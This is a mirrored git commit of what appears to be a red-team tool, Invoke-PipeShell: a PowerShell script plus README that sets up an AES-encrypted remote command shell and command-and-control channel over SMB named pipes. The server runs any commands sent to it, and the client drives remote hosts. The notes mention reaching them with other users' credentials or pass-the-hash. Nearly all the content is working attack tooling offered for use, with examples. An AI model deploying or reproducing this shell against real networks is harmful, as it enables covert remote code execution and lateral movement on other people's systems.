mirror of
https://github.com/threatexpress/invoke-pipeshell
synced 2026-06-08 17:46:46 +00:00
initial
This commit is contained in:
+26
@@ -0,0 +1,26 @@
|
||||
*.DS_Store
|
||||
.AppleDouble
|
||||
.LSOverride
|
||||
|
||||
# Icon must end with two \r
|
||||
Icon
|
||||
|
||||
|
||||
# Thumbnails
|
||||
._*
|
||||
|
||||
# Files that might appear in the root of a volume
|
||||
.DocumentRevisions-V100
|
||||
.fseventsd
|
||||
.Spotlight-V100
|
||||
.TemporaryItems
|
||||
.Trashes
|
||||
.VolumeIcon.icns
|
||||
.com.apple.timemachine.donotpresent
|
||||
|
||||
# Directories potentially created on remote AFP share
|
||||
.AppleDB
|
||||
.AppleDesktop
|
||||
Network Trash Folder
|
||||
Temporary Items
|
||||
.apdisk
|
||||
@@ -0,0 +1,317 @@
|
||||
function Invoke-PipeShell {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invoke-Pipe uses named pipes to create an SMB C2 channel. The SMB
|
||||
traffic is encrypted using AES CBC (code from Empire), the key/pipe
|
||||
are generated randomly by the server on start-up.
|
||||
|
||||
This is heavily based on Ruben Boonen (@FuzzySec) Invoke-SMBShell
|
||||
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-SMBShell.ps1
|
||||
|
||||
This version reverses the Client/Server model of Invoke-SMBShell.
|
||||
In server mode, the server waits for connections, executes commands, and returns results
|
||||
In client mode, the client connects to servers, issues commands, and displays results
|
||||
|
||||
Notes:
|
||||
|
||||
* To connect, the client needs to be able to initialize an SMB
|
||||
connection to the target (eg: net use \\server\share). the client
|
||||
must be running in a context that has permission to the accout the
|
||||
server is running. A connection could be made with different user credentials
|
||||
or by passing the hash/ticket. Not unreasonable in a corporate
|
||||
environment.
|
||||
|
||||
.DESCRIPTION
|
||||
Author: Joe Vest (@joevest)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER Mode
|
||||
Client or Server
|
||||
|
||||
.PARAMETER Server
|
||||
Hostname of Server
|
||||
|
||||
.PARAMETER AESKey
|
||||
16 character key used for encryption
|
||||
|
||||
.PARAMETER Pipe
|
||||
Name of server's named pipe
|
||||
|
||||
.PARAMETER Timeout
|
||||
Time in milliseconds a client will consider a server unreachable
|
||||
|
||||
.PARAMETER i
|
||||
Use interactive shell. If false, a single command will be issued from the -c parameter
|
||||
|
||||
.PARAMETER c
|
||||
command to run in non-interactive mode
|
||||
|
||||
.EXAMPLE
|
||||
Server mode, hosts the named pipe.
|
||||
|
||||
C:\PS> Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode server -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234
|
||||
|
||||
.EXAMPLE
|
||||
Client mode, connects to the named pipe.
|
||||
|
||||
Interactive Client
|
||||
|
||||
C:\PS> Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode client -server localhost -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234 -i
|
||||
|
||||
Non-interactive client
|
||||
C:\PS> Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode client -server localhost -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234 -c ls
|
||||
|
||||
|
||||
Extra commands
|
||||
----------------
|
||||
leave - exits client, leaves server running
|
||||
kill - kill server and client
|
||||
|
||||
#>
|
||||
|
||||
param(
|
||||
[Parameter(Mandatory=$false)]
|
||||
[string]$Mode,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$AESKey,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Pipe,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Int]$timeout = 1000,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$i =$FALSE,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[string]$c = ""
|
||||
|
||||
)
|
||||
|
||||
if ($AESKey.length -ne 16) {
|
||||
write-host "`n[1] AESKey must be 16 characters in length."
|
||||
exit
|
||||
}
|
||||
|
||||
if ($i) {$INTERACTIVE = $TRUE}
|
||||
|
||||
# Set the function Mode
|
||||
$PipeMode = $mode
|
||||
|
||||
# Crypto functions from Empire agent
|
||||
# https://github.com/PowerShellEmpire/Empire/blob/master/data/agent/agent.ps1#L514
|
||||
function Encrypt-Bytes {
|
||||
param($bytes)
|
||||
# get a random IV
|
||||
$IV = [byte] 0..255 | Get-Random -count 16
|
||||
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||
$AES.Mode = "CBC";
|
||||
$AES.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey);
|
||||
$AES.IV = $IV;
|
||||
$ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
|
||||
# append the MAC
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA1;
|
||||
$hmac.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey);
|
||||
$ciphertext + $hmac.ComputeHash($ciphertext);
|
||||
}
|
||||
|
||||
function Decrypt-Bytes {
|
||||
param ($inBytes)
|
||||
if($inBytes.Length -gt 32){
|
||||
# Verify the MAC
|
||||
$mac = $inBytes[-20..-1];
|
||||
$inBytes = $inBytes[0..($inBytes.length - 21)];
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA1;
|
||||
$hmac.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey);
|
||||
$expected = $hmac.ComputeHash($inBytes);
|
||||
if (@(Compare-Object $mac $expected -sync 0).Length -ne 0){
|
||||
return;
|
||||
}
|
||||
|
||||
# extract the IV
|
||||
$IV = $inBytes[0..15];
|
||||
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||
$AES.Mode = "CBC";
|
||||
$AES.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey);
|
||||
$AES.IV = $IV;
|
||||
($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16)
|
||||
}
|
||||
}
|
||||
|
||||
# Generate 16 friendly random characters
|
||||
function Random-16 {
|
||||
$Seed = 1..16|ForEach-Object{Get-Random -max 62};
|
||||
$CharSet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||
$CharSet[$Seed] -join ""
|
||||
}
|
||||
|
||||
# Write pipe helper function
|
||||
function Write-Data {
|
||||
param ($data)
|
||||
$Input = Encrypt-Bytes -bytes $([system.Text.Encoding]::UTF8.GetBytes($data))
|
||||
$Input = ($Input -join ' ' |Out-String).trim()
|
||||
$Input
|
||||
}
|
||||
|
||||
# Read pipe helper function
|
||||
function Read-Data {
|
||||
param ($data)
|
||||
$data = $data -split ' '
|
||||
$OutPut = [System.Text.Encoding]::UTF8.GetString($(Decrypt-Bytes -inBytes $data))
|
||||
$OutPut
|
||||
}
|
||||
|
||||
# Job are used here to support long running commands but
|
||||
# for now the shell doesn't have logic to specifically
|
||||
# invoke a job for such commands and IEX for others.
|
||||
function Command-Handler {
|
||||
param($data)
|
||||
$JobName = "SMBJob-$(Random-16)"
|
||||
$PoshJob = Start-Job -Name $JobName -Scriptblock ([scriptblock]::Create($data))
|
||||
Wait-Job -Name $PoshJob.Name| Out-Null
|
||||
|
||||
if ($((Get-Job $PoshJob.Name).HasMoreData) -eq $true) {
|
||||
# On Win10+ even jobs with no results show HasMoreData=True
|
||||
$JobResult = $(Receive-Job -Name $PoshJob.Name 2>&1|Out-String)
|
||||
if (!$JobResult) {
|
||||
echo "Job $($PoshJob.Name) completed successfully!"
|
||||
} else {
|
||||
$JobResult.trim()
|
||||
}
|
||||
} else {
|
||||
if($((Get-Job $PoshJob.Name).State) -eq "Failed"){
|
||||
(Get-Job $PoshJob.Name).ChildJobs[0].JobStateInfo.Reason.Message
|
||||
} else {
|
||||
echo "Job $($PoshJob.Name) completed successfully!"
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Job -Name $PoshJob.Name
|
||||
}
|
||||
|
||||
function Initialize-Pipe {
|
||||
if ($PipeMode -eq "Server") {
|
||||
echo "`n[>] Waiting for client..`n"
|
||||
$PipeObject.WaitForConnection()
|
||||
} else {
|
||||
try {
|
||||
# Add a 1s time-out in case the server is not live
|
||||
$PipeObject.Connect($timeout)
|
||||
} catch {
|
||||
echo "[!] Server pipe not available!"
|
||||
Return
|
||||
}
|
||||
}
|
||||
|
||||
$PipeReader = $PipeWriter = $null
|
||||
$PipeReader = new-object System.IO.StreamReader($PipeObject)
|
||||
$PipeWriter = new-object System.IO.StreamWriter($PipeObject)
|
||||
$PipeWriter.AutoFlush = $true
|
||||
|
||||
Initialize-Session
|
||||
}
|
||||
|
||||
function Initialize-Session {
|
||||
try {
|
||||
while($true) {
|
||||
|
||||
# Client logic
|
||||
if ($PipeMode -eq "Client") {
|
||||
|
||||
|
||||
if ($INTERACTIVE) {
|
||||
$Command = Read-Host "`nSHELL"
|
||||
} else {
|
||||
$Command = $c
|
||||
}
|
||||
|
||||
if ($Command) {
|
||||
$PipeWriter.WriteLine($(Write-Data -data $Command))
|
||||
Read-Data -data $($PipeReader.ReadLine())
|
||||
|
||||
# Disconnect client
|
||||
# Non-Interactive Mode
|
||||
if (-Not $INTERACTIVE) {
|
||||
$Command = "leave"
|
||||
$PipeWriter.WriteLine($(Write-Data -data $Command))
|
||||
break
|
||||
}
|
||||
# Interactive Mode
|
||||
if ($Command -eq "leave") {
|
||||
break
|
||||
}
|
||||
|
||||
# Interactive Mode
|
||||
if ($Command -eq "kill") {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Server logic
|
||||
else {
|
||||
|
||||
$Command = $pipeReader.ReadLine()
|
||||
|
||||
if ($Command) {
|
||||
if ($(Read-Data -data $command) -eq "leave") {
|
||||
$PipeWriter.WriteLine($(Write-Data -data "`n[!] Client disconnecting.."))
|
||||
write-host "Client disconnecting.."
|
||||
break
|
||||
|
||||
} elseif ($(Read-Data -data $command) -eq "kill") {
|
||||
$PipeWriter.WriteLine($(Write-Data -data "`n[!] Killing server.."))
|
||||
write-host "Killing server.."
|
||||
break
|
||||
|
||||
} else {
|
||||
$Result = Command-Handler -data $(Read-Data -data $Command)
|
||||
$PipeWriter.WriteLine($(Write-Data -data $Result))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
catch {
|
||||
# Maybe add real error handling some day...
|
||||
|
||||
}
|
||||
|
||||
# Cleanup & leave logic
|
||||
finally {
|
||||
if ($PipeMode -eq "Server") {
|
||||
# Kill Server
|
||||
if ($(Read-Data -data $command) -eq "kill") {
|
||||
$PipeObject.Dispose()
|
||||
# This else also recovers the server pipe
|
||||
# should the client fail for some reason
|
||||
} else {
|
||||
$PipeObject.Disconnect()
|
||||
Initialize-Pipe
|
||||
}
|
||||
} else {
|
||||
$PipeObject.Dispose()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Generate Key/Pipe
|
||||
if ($PipeMode -eq "Server") {
|
||||
$PipeObject = New-Object System.IO.Pipes.NamedPipeServerStream($Pipe, [System.IO.Pipes.PipeDirection]::InOut)
|
||||
$ServerConfig = @"
|
||||
|
||||
+-------
|
||||
| Host Name : $Env:COMPUTERNAME
|
||||
| Named Pipe: $Pipe
|
||||
| AES Key : $AESKey
|
||||
+-------
|
||||
"@
|
||||
$ServerConfig
|
||||
} else {
|
||||
$PipeObject = new-object System.IO.Pipes.NamedPipeClientStream($Server, $Pipe, [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
|
||||
}
|
||||
|
||||
Initialize-Pipe
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
# Invoke-PipeShell
|
||||
|
||||
This script demonstrates a remote command shell running over an SMB Named Pipe
|
||||
The shell is interactive PowerShell or single PowerShell commands
|
||||
|
||||
## Parameters
|
||||
|
||||
.PARAMETER Mode
|
||||
Client or Server
|
||||
.PARAMETER Server
|
||||
Hostname of Server
|
||||
.PARAMETER AESKey
|
||||
16 character key used for encryption
|
||||
.PARAMETER Pipe
|
||||
Name of server's named pipe
|
||||
.PARAMETER Timeout
|
||||
Time in milliseconds a client will consider a server unreachable
|
||||
.PARAMETER i
|
||||
Use interactive shell. If false, a single command will be issued from the -c parameter
|
||||
.PARAMETER c
|
||||
command to run in non-interactive mode
|
||||
|
||||
## Examples
|
||||
|
||||
### Server
|
||||
|
||||
Host the Named Pipe shell. Commands are executed here.
|
||||
|
||||
Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode server -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234
|
||||
|
||||
### Client
|
||||
|
||||
Connects to the server. Issues commands to server and displays results.
|
||||
|
||||
#### Interactive Client
|
||||
|
||||
Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode client -server localhost -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234 -i
|
||||
|
||||
SHELL: ls
|
||||
|
||||
Directory: C:\Users\user\Documents
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
d---- 3/21/2016 3:28 PM files
|
||||
|
||||
SHELL: pwd
|
||||
|
||||
Path
|
||||
----
|
||||
C:\Users\user\Documents
|
||||
|
||||
|
||||
#### Non-interactive client
|
||||
|
||||
Import-Module .\Invoke-PipeShell.ps1; Invoke-PipeShell -mode client -server localhost -aeskey PmsqQUt2PoYMFNq7 -pipe tapsrv.5604.1234 -c ls
|
||||
|
||||
Directory: C:\Users\user\Documents
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
d---- 3/21/2016 3:28 PM files
|
||||
|
||||
|
||||
#### Extra commands
|
||||
----------------
|
||||
leave - exits client, leaves server running
|
||||
kill - kill server and client
|
||||
Reference in New Issue
Block a user